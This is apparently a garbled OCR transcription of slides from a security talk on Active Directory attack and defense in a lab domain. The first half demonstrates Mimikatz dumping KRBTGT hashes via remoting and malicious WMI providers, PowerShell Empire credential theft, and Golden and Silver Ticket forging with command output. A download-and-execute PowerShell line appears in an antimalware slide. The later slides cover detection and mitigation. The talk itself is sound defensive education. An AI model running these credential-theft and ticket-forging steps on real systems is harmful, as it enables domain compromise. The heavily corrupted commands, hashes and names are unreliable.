SID s 5-1-5-21-1583770191-140008446-3268284411-3103
SIDHi1story : 15-1-5-21-1583770191-140008446-3268284411-5007}
Surname :

UserPrincipalMame : BobaFett@lab.adsecurity.org

Sean Metcalf (@Pyrotek3)



SID History -> Domain Exploitation

Vindows PowerShell
Copyright <C» 288? Microsoft Corporation. All rights reserved.

PS C:xUszerssBobaFett?> whoami

adzeclabs~bobafett

PS5 GC:sUszerssBobaFett?»> Enter—PS8Seszion —ComputerMame ad=zdcB3.lab.adsecurity.org
[adsdc@3 . lab.adsecurity.orgl: PS C:ixlUserssBobaFett“Documentz?> whoami

adsec labMhobhafett

ﬁadschE.lah.adsecurity.urg]= PS CG:=sUserssBobaFettsDocuments> c:stempsmimikatz“Mimikatz
tgt" exit

Huiiy . mimikatz 2.8 alpha <x64> release "“"Kiwi en GC" <May 29 2815 23:55:17>
5 SR ¢
it 2 it = o= o=
mt ~ o 1t Benjamin DELPY ‘gentilkiwi® ¢ benjaminf@gentilkiwi.com 2
'HHE v HE http:-ssblog._gentilkivi.comns/mimikatz Coe.eod
fEHnug with 15 modules = =* =~

mimikatz(commandline} # privilege::debuyg
Privilege *‘28' OK
mimikatz{commandline? # sekurl=za::krbhtgt

Current krhtgt- L credentials

#* pcd_hmac_nt : 1a33736fd25adPA6dd9c61318173bc326
= pcd_hmac_old : 1a33736fd25adB6dd?c61318173bec326
=*= pcd_mdd : 1a33736fd25adB6dd?c61318173bc326
* aes2h6_hmac : 280d7chcefBeaefbhd478elelbechbbhalcac2812bh2ed432f fh32141c5FY
= aesl128_hmac : 2433f1cbd1Ba2d466294F 2832625256

mimikatz(commandline) # exit
Bye?
[ad=dc@3 . lab.adsecurity.orgl: PS CislUserz™BobaFett“Documentszs> _

Sean Metcalf (@Pyrotek3)




Sneaky WMI: WMI Class “Normal Usage”

Status |

LocalAddress

LocalPort

HAGREGARERARARE ARG E GE

Ml | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ] | ]
SNASGEERARERAAODERREDE D
LSO EERARERAAOERERERDE G

[y

https:

PSS C:stempsEvilWHMI > Get—WMIObject Win32_MetConnection
format—table

RemoteAddress

172.16.11.12 5722
172.16.11.12 49155
172.16.11.12 492251
172.16.11.12 57232

88
135
Jae
445
464
593
636

3268
3269
3387
5722
5985
7387
478001
49152
49153
49154
49155
49157
49158
49164
49226
53

172.16.11.12 53
172.16.11.12 139

123

172.16.11.13
172.16.11.13
172.16.11.13
172.16.11.13

REmotePort

select LocalAddress.LocalPort.RemoteAddress ]

Protocol

64836
61421
54726

445

DR AIELRAAEERRROE IR DS

TGP
TGP
TCP
TCP
TGP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TCP
TGP
TICP
upr

ithub.com/jaredcatkinson/EvilINetConnectionWMIProvider

Sean Metcalf (@Pyrotek3)


https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider

Sneaky WMI: Arbitrary Command Execution

PSS C:stemp~EvilWHMI> Invoke-WMIMethod —Class Wind2_HNetConnection —MName RBunPs —-ArgumentList ‘c:istempsmimik:
"privilege::debug" "sekurlsza::krhtgt' exit’. SHULL

_ GENUS

_ _CLASS

_ SUPERCLASS

__ DYHASTY
__RELPATH

__ PROPERTY_COUNT
_ DERIUATION

_ SERUER
__MHAMESPACE
__PATH

ReturnUalue

il Windows Task Manager

2 File Options View Hel
__PARAMETERS ie Dpfions HEW - TED
PARAMETERS Appiications Processes | services | P
3 [mage -~ | User Name | CP
conhost.exe ADSAd. .. Qo
conhost. exe SYSTEM a0
- it . mimikatz 2.8 alpha <x64} release "Kiwi en C" <Jun C5res.ex SYSTEM 00
I i A CSrSs.EeX SYSTEM 00
B - S B e o= ox —— SYSTEM 00
#it ~ ~ it Benjamin DELPY ‘gentilkiwi® ¢ benjamin@gentilk =X 21= 2
‘i v HEY http:blog.gentilkivi.comsmimikatz fogvr.ex SYSTEM a0
i TR b e s.exe SYSTEM 00
dwm. exe ADSAd. .. 00
mimikatz{commandline? # privilege::debuyg explorer.ex ADSAd. .. 00

Lo ] ]
Privilege *28°' 0K SYSTEM 00

mimikatz<{commandline? # sekurlsa::krbhtgt 538 SYSTEM ad

Curre n t krhtgt: 6 credentials SLEIE Ll

rcd_hmac_nt : 1a33736fd25adB6dd9c61318173bc326 i i .. SYSTEM a0

=* pcd _hmac_old : 1a33736fd25adB6dd9?c61318173bc3I26 T NETWO an

* pcd _md4d t 1a33736fd25adB6dd?c61318173bc3I26 o T -

# aes256_hmac : 20d7cScef8eaefbhd?8e?Pe8bechbhalcs Cobe.exe ADSAd... uu

»* aesl28_hmac s 2433f1c6d1BaZ2d466294FF 7836257506 powershellexe  ADSAd... iy

»* des_che_mdS : F1f82968baaldf13? _ " -

¥ SYSTEM g

mimikatz{commandline} # exit S SYSTEM a0

Bye ! - — -

Sean Metcalf (@Pyrotek3)




Sneaky WMI v2: Remote Command
Execution

PS C:~» Invoke—lWmiMethod —MNamespace rootscimv?2 —Class Win3d2_DCOMSystemIntegration
nll Computer ADSDCHL.lab.adsecurity.org

GENUS
CLASS
SUPERCLASS

RELPATH
PROPERTY _COUNT
DERIUATION
SERUER
NAMESPACE

PATH

eturnlalue

2
— PARAMET ERS

_ PARAMETERS

1
i

DYNASTY

=

nt authorityssystem

Casey Smith (@subtee)
https://github.com/subTee/EvilWMIProvider

Sean Metcalf (@Pyrotek3)


https://github.com/subTee/EvilWMIProvider

Sneaky WMI v2: Remote Command Execution

PS C:s2 Invoke—-WmiMethod —MWamespace rootscimv?2 —Class Wind2_DCOMSystemIntegration —Mame RunPfS —Argument
ikatzmimikatz.exe "sekurlsa::krbtgt' exit’. Snull —Computer ADSDCHAL.lab.adsecurity.org

__ GEMUS : 2

__CLASS : __PARAMETERS
___SUPERCLASS :

__ D¥YMASTY : __ PARAMETERS
_ RELPATH c
___PROPERTY_COUNT := 1
__DERIUATION I -

__SERUER E

_ HAMESPACE =

___PATH c

Returnlalue R 1% 116161 mimikatz 2.8 alpha <(x64> release "Kiwi en C" <Jun 29 2015 B@:28:32>

5 R 5

it ~ - HH = o= =

B ~ - #H Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com >
‘HH v HEt' http: /- blog.gentilkivi.comsmimikatz Coe.eol
* i’ with 16 modules > = =~

mimikate(commandline> # sekurlsa::krbhtgt

Current krhtgt: 6 credentials

#* pcd _hmac_nt : 1a33736Fd25adB6dd9ch1318173bc326
#* pcd _hmac_old : 1a33736fd25adB6dd9ch1318173bc326
#* pcd_md4 : 1a33736Fd25adB6dd9c61318173bec326
#* aes2hio_hmac : 20d7cScefBeaefh478e??eBbechbbhalcac2819b2ed432f fh32141 585
#* aesl28_ hmac : 2433f1c6d1Ba2d466294F FP83a625956
#* des_chc_md5 : f1f82968baalf137

mimikatz{commandline?> # exit
Bye?

PE C:2 whoami
adsec lab~joeuser




Sneaky WMI v2: DC Task List

il Windows Task Manager
File Options View Help

..ﬁ.ppﬂimﬁnns Processes |Ser1.-'i::E5| Performance | Metworking I Lsers I

Image Name User Name | CPU | Me,., - Description

WmiPrvsE.exe SYSTEM 0o 29,184 K WMI Provider Host

explorer.exe ADSAd... a0 15,608 K Windows Explorer

svchost.exe SYSTEM a0 13,643 K Host Process for Windows Services
lsass. exe SYSTEM 0o 9,080 K Local Security Authority Process
gychost.exe LOCAL ... 00 5,676 K Host Process for Windows Services
Cobe.exe ADSAd. .. a0 3,952 K Windows Server Initial Configuration Tasl
sychost.exe LOCAL ... 00 3,940 K Host Process for Windows Services
dfsrs.exe SYSTEM a0 3,800 K Distributed File System Replication
svchost.exe METWO... a0 3,228 K Host Process for Windows Services
dns.exe SYSTEM 0o 3,196 K Domain Mame System (DMS) Server
gychost,exe LOCAL ... 00 3,140 K Host Process for Windows Services
Microsoft, ActiveDirector... SYSTEM a0 3,083 K Microsoft. ActiveDirectory. WebServices
sychost.exe MNETWO... 00 2,812 K Host Process for Windows Services
SEMVICES, EXNE SYSTEM a0 2,420 K Services and Controller app
svchost.exe SYSTEM a0 2,300 K Host Process for Windows Services



@ PowerShell Empire

: https://www.PowerShellEmpire.com/ | [Twitter]: @harmjOy, @sixdub

— L N N [l
. 0 X ol e o JUR
Sl I LI . 1 Y I = S [ [ / | =]
— Lk L] L DL N Neesel
i USR] VN R iy [P N I B B || |

91 modules currently loaded
1 listeners currently active

1 agents currently active

(Empire) >



PowerShell Empire — Inject into LSASS

rfname Yrocea 55

smtont -‘." 34 :'m




PowerShell Empire- Get-AllTheCredentials

w : ”[" ol

WINDOWSZ
WINDOWS:
wWIND(
q! WINDOWS2
laintext Lab.local att WINDOWS?2




B
A

ue Team Response:

D Persistence

* Detection: Varies

DSRM: DSRM pw change

* SSP: Registry config
* Skeleton Key: Ticket Encryption
* SID History: User Attribute

Malicious WMI: Inventory WMI
[WMI Session Tomorrow 1pm]

* Mitigation:

Protect AD Admins

Sean Metcalf (@Pyrotek3)



Golden Ticket (Forged TGT) Communication

Domain Controller

Pw—ee

User’s Workstation

Application Server

Sean Metcalf (@Pyrotek3)



Golden Ticket Limitation

+ Admin rights limited to current domain.
4+ Doesn’t work across trusts unless in EA

mimikatz{commandline? # kerberos::golden Aadmin:Administrator Adomain:resource.la
A7 — 4123514@25 4135338336 -krbtgt:488h468d8bc43615a1425c6a735e85bh /startoffzet:B
Uzer Administrator

Domain resource. lab.adsecurity.oryg

SID S—1-5-21-22421421809— 4123514@25 4135338336

Uzser Id LAa

Groups Id =013 512 526 518 519

Serviceley: 488b468d8bhc43615a1425c6aY35e85bh — pcd_hmac_nt

Lifetime /328015 18:52:28 PM ; Y-/4-20015 8:52:=28 AM ; 7-18-2015 16:52:28 PM

—» Ticket #% Pazs The Ticket =x

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

kR XX

Golden ticket for 'Administrator @ resource.lab.adsecurity.org’ successfully subm

mimikat=z<{commandline» H# exit
1 -

PSS Cintempsmimikatz> net use ssads2del2.resource.lab.adsecurity.orgsadming
he command completed successfully.

PS C:stempsmimikatz? net use “SadsdcB3.lab.adsecurity.orgsadmin®
The password is invalid for “sadsdcB3.lab.adsecurity.orghadmin®.



Golden Ticket — Now More GOLDEN!

+ Mimikatz now supports SID History in
Golden Tickets

mimikatz<commandline> #
H?—-4128614826—41 35338336
tartoffset:A sendin:6HAA
U=zer Administrator

Domain resource . lab. adsecurity.org

SID Eﬂé L—21-2242142189- 4123614@25 —4135338336

ipce . lab.adsecurity,
skrhtgt-488h468d48]

V]
1
1

‘lll‘lllll 0 C

ervicehey: ecabbh — »rcd_hmac_n
Lifetime = ?-3-20015 11:54: 59 PH : 742015 9:54:5%9 AM ; 7182015 11:54:59 PM
—» Ticket : = Pass The Ticket =«

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Lo O O I

Golden ticket for ‘Administrator @ resource.lab.adsecurity.org’ successfully submitted for cuw
mimikatz{commandline? # exit

PS C:stempsmimikatz? net use ““ads2dcl2.resource.lab.adsecurity.orgsadmin®
he command completed successfully.

PS C:stempsmimikatz? net use ““adsdcB2.lab.adsecurity.orgsadmin®
he command completed successfully.

PS C:stempsmimikatz> net use ““adsdcB3.lab.adsecurity.org~adming
he command completed successfully.



Silver Ticket (Forged TGS) Communication

Domain Controller

e

———6. APREP (opti .
. ptional, y
User’s Workstation

Application Server

Sean Metcalf (@Pyrotek3)



Silver Ticket: Domain Controller Exploitation

e Attacker dumped AD & has all domain
creds.

* Corp IT changed all user, admin, and
service account passwords (and KRBTGT
PW 2X).

 Attacker still has Domain Controller
computer account password hashes.

What is possible with these?



Silver to Gold

imikatzCcommandline>» # kerbheros::tgolden admin:LukeSkywalker Adomain:LAB.ADSECURITY.ORG ~id:26E
182-2957264255-828998924 starget:-adsdcB2.lab.adsecurity.org Arcd:fP2329f206fBef38e8d45c34eP?dBf 281
SEP : LukeSkywalker

Domain LAB.ADSECURITY . ORG

S ID S-1-5-21-1387283482-2957264255-328998924

ser Id : 2681
roups Id = =513 512 528 518 519
I iceKeu: 7 D FORGRE Ae f B3 e d: 4 dAF28f — »cd_hmac_nt
Ceruice : HTTP
larget : adsdcBZ.lab.adsecurity.ors
LiT et 1me 172 g =16 -494 PN ; 4-°1-2825 18:16:-44 PH ; 4-1-2825 18:16:44 PH

> Ticket : ®x Pasz The Ticket 3

= PAC generated

= PAC signed

#*# EncTicketPart generated
# EncTicketPart encrypted
#*= HrhCred generated

olden ticket for *LukeSkywalker @ LAB.ADSECURITY.ORG® successfully submitted for current session

mimikatz(commandline» # kerberoz::golden ~admin:LukeSkywalker Adomain:LAB.ADSECURITY.ORG ~i
482 -2957264255-828770?24 starget:-adsdcB2.lab.adsecurity.org <rocdf7?329F?06fBef88e8d45c3de?d
Uzer : LukeSkywalker
Domain LAB.ADSECURITY . ORG
SID 8—1-5-21-13872083482-2957264255-828298924
User Id 2681
Groups Id =013 512 520 518 519
E iceke ; U6 fHef38eld e ?dAF28Ff — rcd_hmac_nt

4l 4

Target adsdcB2.lab.adsecurity.org

ifetime g M-15:-H8 PH ; 4 2025 18:18:88 PHM ; 4-1.-2825 168:18:08 FM
—>» Ticket #% Pass The Ticket ==

PAC generated

PAC =zigned
EncTicketPart generated
EncTicketPart encrypted
KrbhCred generated

I B B B

Golden ticket for ‘LukeSkywalker B LAB.ADSECURITY .ORG* successfully submitted for current se



Silver to Gold

S Cisntempmimikatz» New—PSSession —Computer '"adsdcB2.lab.adsecurity.org’

Id Hame ComputerMame State Conf igurationMame Availak

1 Sesszionl adsdcB2.1ab.... Opened Microszoft.PowerShell

PS C:\temp\mimikatz>

- HuHH . mimikatz 2.8 alpha <x64» release "Kiwi en C" (Fehbh 16 2815 22:
B .
HE -~ S B = = =
it -~ 7 1 Benjamin DELPY ‘gentilkiwi® ¢ bhenjaminPgentilkiwi.com >
HHE v Hit' http:-blog.gentilkiwvi.comsmimikatz Coe.eonl
fHuRHg with 15 modules = = 2/

mimikatz{powershell> # privilege::debug
Privilege *'2H' 0K

mimikatz(powerzhell>» # lsadump::lza “name:krbtgt inject
Domain = ADSECLAB ~ 5—1-5-21-1387203482-2957264255-828996724

I AT 6 <5@2>
User = krbtgt

#* Primary
. :

HILM : cdch3c28291538Ha89758E565ead1c?
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Cross-Domain/Forest Kerberos

Blue Domain Green Domain
Domain Controller Domain Controller

Application
Server

User’s
Workstation
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Detecting Forged Kerberos: Golden & Silver Tickets

 Normal, valid account logon event data structure:
* Security ID: DOMAIN\AccountID
* Account Name: Accountl|D
* Account Domain: DOMAIN

* Golden & Silver Ticket events may have one of these
Issues:

e The Account Domain field is blank when it should contain
DOMAIN.

e The Account Domain field is DOMAIN FQDN when it should
contain DOMAIN.

e The Account Domain field contains “eo.oe.kiwi :)“ or “<3
eo.oe - ANSSI E>” or similar...

Event IDs: 4624 (logon), 4672 (admin logon), 4634 (logoff)



Blue Team (Defense)




DowerShell Attack Detection
Log all PowerShell activity

nteresting Activity:
* .Net Web Client download.
* Invoke-Expression (and derivatives: “iex”).
* “EncodedCommand” (“-enc”) & “Bypass”
* BITS activity.
* Scheduled Task creation/deletion.
* PowerShell Remoting (WinRM).

 Limit & Track PowerShell Remoting (WinRM).
* Audit & Meter PowerShell usage.



PowerShell v5 Security Enhancements

* Script block logging

e System-wide transcripts

* Constrained PowerShell

* Antimalware Integration (Win 10)

Windows Management Framework (WMF) version 5
will be available for download: “Later, in Q4 of 2015”



PowerShell v5 Security: Script Block Logging

PS C:\Users\ADSAdmin> powershell -encodedcommand VwByAGKAdAB1ACO/

Running Invoke-Mimikatz...

Event 4104, PowerShell (Microsoft-Windows-PowerShell]

General | Details

Creating Scriptblock text (1 of 1):
Write-Output "Running Inveke-Mimikatz..."

ScriptBlock 1D cbd31773-c40f-4f73-9b77-808a7624d1c7

Leg Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 6/25/2015 8:30:16 PM
Event [D: 4104 Task Category: Execute a Remote Command

Level: Verbose Keywords: Mone



PowerShell v5 Security: System-Wide Transcripts

P5 C:%= get-content C:\Users'ADSAdmin‘\Documents’PowerShell_transcript.ADSWK10. 6Cu
= i e 2 e e i 2 e ik e i e i

Windows PowerShell transcript start

S5tart time: 20150730171748

Username: ADSWK10%ADSAdmin

RunAs User: ADSWK10\ADSAdmIn

Machine: ADSWK1D (Microsoft Windows NT 10.0.10074.0)

Host Application: C:\Windows'system32'\WindowsPowerShell'vl. 0\ PowerShell_ISE. exe

Process ID:

3928

FrEraxrrEarrrraar T E R

C:‘\UsersiADSAdm1n'\Documents'PowerShel 1_transcript. ADSWK10. 6CuHELTY. 20150730171748

FEEEFFTEEEIFTEEIT TSI T EE

Command start time: 20150730172926

T+t FEES ST EESTTEESI T TR

P5 C:'Windows'system32> get-service

Status

Running
Stopped
Stopped
Running
Running
Running
Stopped
Stopped
Running

[T T e

Name
AJRouter

ALG

AppID5Svc
Appinfo
AppMgmt
AppReadiness
AppX5SvcC

AudioEndpointBu. ..

Audiosrv
AxInsts5V
BEDESWVC

BFE
BRTTC

[ splayName

Application Layer Gateway Service
Application Identity

Application Information
Application Management

App Readiness

AppX Deployment Service (AppXSWC)
Windows Audio Endpoint Builder
Windows Audio

ActiveX Installer (AxInstSv)
BitLocker Drive Encryption Service
Base Filtering Engine

Boarlmarmsmmad Thadtbsl1 s mandt TreopecfFar Toae



PowerShell v5 Security: Constrained PowerShell

Context.SessionState. LanguageMode

ct Wet.wWebClient}.DownloadString|




Windows 10 PowerShell Security:

Antimalware Integration

PS C:\Windows\system32> Iex (Invoke-wWebReguest http:ffpastebin.com/ra




Mitigation Level One (Low)

Minimize the groups (& users) with DC admin/logon
rights

Separate user & admin accounts
No user accounts in admin groups

Set all admin accounts to “sensitive & cannot be
delegated”

Deploy Security Back-port patch (KB2871997)

Set GPO to prevent local accounts from connecting over
network to computers (KB2871997).

Use long, complex (>25 characters) passwords for SAs.
Delete (or secure) GPP policies and files with creds.

Patch server image (and servers) before running
DCPromo

Implement RDP Restricted Admin mode



Mitigation Level Two (Moderate)

= Microsoft LAPS (or similar) to randomize computer
local admin account passwords.
= Service Accounts (SAs):
" Leverage “(Group) Managed Service Accounts”.

" Implement Fine-Grained Password Policies (DFL
>2008).

" Limit SAs to systems of the same security level,
not shared between workstations & servers (for
example).

" Remove Windows 2003 from the network.

" Separate Admin workstations for administrators
(locked-down & no internet).

" PowerShell logging



Mitigation Level Three (“It's Complicated”)

New Admin Model

= Number of Domain Admins =0

Active Directory Admins (ADAs)

= Complete separation of administration

= ADAs use SmartCard auth w/ rotating pw | sener application Admins

= ADAs never logon to other security tiers.

Workstation Admins

= ADAs should only logon to a DC
(or admin workstation or server).

" Time-based, temporary group membership.
= No Domain Admin service accounts running on non-DCs.

= Disable default local admin account & delete all other local
accounts.

" Implement network segmentation.
= CMD Process logging & enhancement (KB3004375).



Credential Theft Protection (Future)

LSAlso

NTLM Support

Clear
Secrets

Kerberos Support

Kerberos

IUM
Secrets

Hypervisor

Computer Hardware
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Attack Detection Paradigm Shift

Microsoft Advanced Threat Analytics (ATA, formerly
Aorato)

* Monitors all network traffic to Domain Controllers

e Baselines “normal activity” for each user (computers,
resources, etc)

* Alerts on suspicious activity by user
* Natively detects recon & attack activity without writing rules

* ATA Detection Capability:
* Credential theft & use
* MS14-068 exploits
* Golden Ticket usage
* DNS Reconnaissance
* Password brute forcing
 Domain Controller Skeleton Key Malware



ATA Detection: Credential Theft Pass the Hash

Identity Theft Using Pass-the-Hash Attack

8:30 AM
Thursday Administrator's hash was stolen from one of the computers previously logged into by Administrator and used from
July 2, 2015 WIN7CLIENT-PC.

Note Email Export to Excel Open

? ‘ré Administrator

hBR0ESCT24FO5F41C136038CBBCF228EF
(%)

Administrator's WIN7CLIENT-PC 2 Domain

computer 19216822234 controllers

Recommendations

= Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating
unknown processes, services, registry entries, unsigned files, and more

* Disable Administrator's account

= Reset Administrator's password

Sean Metcalf (@Pyrotek3)



ATA Detection: Credential Theft Pass the Ticket

4:52 AM > 4:57 AM Identity Theft Using Pass-the-Ticket Attack

Wednesday Administrator's Kerberos tickets were stolen from FS to CLIENT1 and used to access DCO1 (CIFS).
July 1, 2015
Note Email Export to Excel Details Inputs Open
’ Administrator
HRE H
Kerberos tickets
(k) (%) 00 00
FS CLIENT1 DCO1 DCO1
192.168.222.15 192.168.222.51 to CIFS 192.168.222.22

Recommendations

» Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating:
unknown processes, services, registry entries, unsigned files, and more

* Disable Administrator's account

Sean Metcalf (@Pyrotek3)



ATA Detection: Credential Theft OverPass the Hash

Encryption Downgrade Activity

Sunday, July 5, 2015 at 7:39 AM

Details MNote Email Export to Excel Open
Via Domain
Accounts From Accessed
Controllers
T:39 AM .
ey = lab.adsecurity.org DCO1
Sunday Q Joe User (4] 153158973 12 () to KRETGT Z\g 192 168222 22 o

Sean Metcalf (@Pyrotek3)



ATA Detection: MS14-068 Exploit

Privilege Escalation using Forged PAC

I Server Administrator attempted to escalate privileges by using a forged PAC from WIN7CLIENT-PC and
*2. fees| | accessing kibtgt (KRBTGT) (1 successful

Thursday, July 2, 2015 at 8:49 AM

Details /' Note | Email ! Export to Excel Open

Server Administ...
Via Domain Controllers

From (1) Accessed (1) Response Pk
\ 1)
WIN7CLIENT-PC krbtgt @ Success DCO1
S Srae 192.168.222.34 O Q to KRETGT 00 Forged PAC Provided l\ © 19216822222 O

July 2, 2015

Sean Metcalf (@Pyrotek3)



ATA Detection: Golden Ticket

Encryption Downgrade Activity

based on previously learned behavior. This may be a result of a Golden Ticket in-use on F5.

July 5, 2015 8:26 AM to 8:51 AM

Summary Details / Note [ Email Export to Excel () Open

Via Domain

Accounts (2) From (1) Accessed (1) Controllers (1)

8:26 AM

. ) = DCO1 DCOo1

;.dr_wl?s; 2 Michael () E 155 188227 12 () A@, to CIFS o ég 192.168.222.22 o
July 5, 2015

a:51 AM

S Fs DCO1 DCO1

;dn?m Q Joe User (] E 18 168999 1 o A@ to CIFS o ég 192.168.222.22 o

Sean Metcalf (@Pyrotek3)



ATA Detection: Skeleton Key

Encryption Downgrade Activity

The encyption method of the ETYPE_INFO2 field of KRB_ERR message from 3 computers has been
downgraded based on previously learned behavior. This may be a result of a Skeleton Key on DCO1.

July 2, 2015 9:32 AM to July 3, 2015 10:32 AM

Summary Details {/ Note [ Email x| Exportto Excel () Open

Via Domain Controllers

Accounts (4) From (3) Accessed (2) i
Tz:ig\x . Server Administra... © [3 WINZCLIENT-PC o 2 Resources Z\ DCOA ()
July 2, 2015 192.168.222.34 © 19216822222
e[ o @, o [ ympsamos A o
e ¢ [ B, O Bne 0| [ oo Aot ®
s $ (0 Eggoee g | O ygmees | [ QEDRURGE | AN, @
JU‘LO“FE%\% . Server Administra... © H fgsz G (%) 2 Resources Z\g E»E?Js.zzz.zz (%)
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Additional Mitigations

* Monitor scheduled tasks on sensitive systems (DCs,
etc)

e Block internet access to DCs & servers.

* Monitor security event logs on all servers for known
forged Kerberos & backup events.

* Include computer account password changes as part
of domain-wide password change scenario (setto 1
day)

* Change the KRBTGT account password (twice) every
vear & when an AD admin leaves.

* Incorporate Threat Intelligence in your process and
model defenses against real, current threats.



Summary
 Attackers will get code running on a target
network.

* The extent of attacker access is based on
defensive posture.

* Advanced attacks with forged tickets can be
detected.

* Protect AD Admins or a full domain
compromise is likely!

My research into Active Directory attack, defense, & detection is ongoing. This is
only the beginning... ©



Sean Metcalf (@Pyrotek3)

Thanks!

Alva “Skip” Duckwall (@passingthehash)
e http://passing-the-hash.blogspot.com

Benjamin Delpy (@gentilkiwi) * The Microsoft ATA Product
* http://blog.gentilkiwi.com/mimikatz Team .
Casey Smith (@subtee) (Tal, Michael, & Idan)

Chris Campbell (@obscuresec) - Many others in the security
* http://obscuresecurity.blogspot.com community!

Joe Bialek (@clymb3r)

* https://clymb3r.wordpress.com * My wife & family for putting
up with me being on the

computer every night! ©

Matt Graeber (@mattifestation)
e http://www.exploit-monday.com

Rob Fuller (@mubix) CONTACT:
e http://www.room362.com Sean Metcalf

Will (@harmjoy) h@tfyr-(;;\?vlif/wADs o
e http://blog.harmijOy.net P> : ecurity.org



http://passing-the-hash.blogspot.com/
http://blog.gentilkiwi.com/mimikatz
http://obscuresecurity.blogspot.com/
https://clymb3r.wordpress.com/
http://www.exploit-monday.com/
http://www.room362.com/
http://blog.harmj0y.net/
https://www.adsecurity.org/
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